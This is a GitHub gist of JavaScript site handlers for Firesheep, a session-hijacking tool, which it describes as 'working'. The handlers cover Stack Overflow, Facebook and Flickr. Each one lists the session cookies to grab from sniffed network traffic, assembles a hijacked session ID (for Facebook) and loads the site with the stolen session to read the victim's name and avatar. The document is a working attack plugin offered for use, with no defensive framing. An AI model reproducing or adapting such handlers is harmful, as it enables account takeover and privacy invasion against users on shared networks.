Created
November 8, 2012 16:22
-
-
Save taschik/4039842 to your computer and use it in GitHub Desktop.
working firesheep site handlers
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
register({ | |
name: 'Stack Overflow', | |
url: 'http://stackoverflow.com/', | |
domains: [ 'stackoverflow.com' ], | |
sessionCookieNames: [ 'usr', '__utmz', '__utma' , '__qca' ], | |
identifyUser: function () { | |
var resp = this.httpGet(this.siteUrl); | |
this.userName = resp.body.querySelectorAll('a')[3].textContent; | |
} | |
}); | |
register({ | |
name: 'Facebook', | |
url: 'https://www.facebook.com/home.php', | |
domains: [ 'facebook.com' ], | |
sessionCookieNames: [ 'datr', 'c_user', 'lu', 'xs' ], | |
processPacket: function () { | |
var cookies = this.firstPacket.cookies; | |
this.sessionId = cookies.c_user + cookies.xs; | |
}, | |
identifyUser: function () { | |
var resp = this.httpGet(this.siteUrl); | |
this.userName = resp.body.querySelector('.headerTinymanName').innerHTML; | |
this.userAvatar = resp.body.querySelector('.headerTinymanPhoto').src; | |
} | |
}); | |
register({ | |
name: 'Flickr', | |
url: 'http://www.flickr.com/me', | |
domains: [ 'flickr.com' ], | |
sessionCookieNames: [ 'cookie_session' ], | |
identifyUser: function () { | |
var resp = this.httpGet(this.siteUrl); | |
var path = resp.request.channel.URI.path; | |
this.userName = path.split('/')[2]; | |
this.userAvatar = resp.body.querySelector('.Buddy img').src; | |
} | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment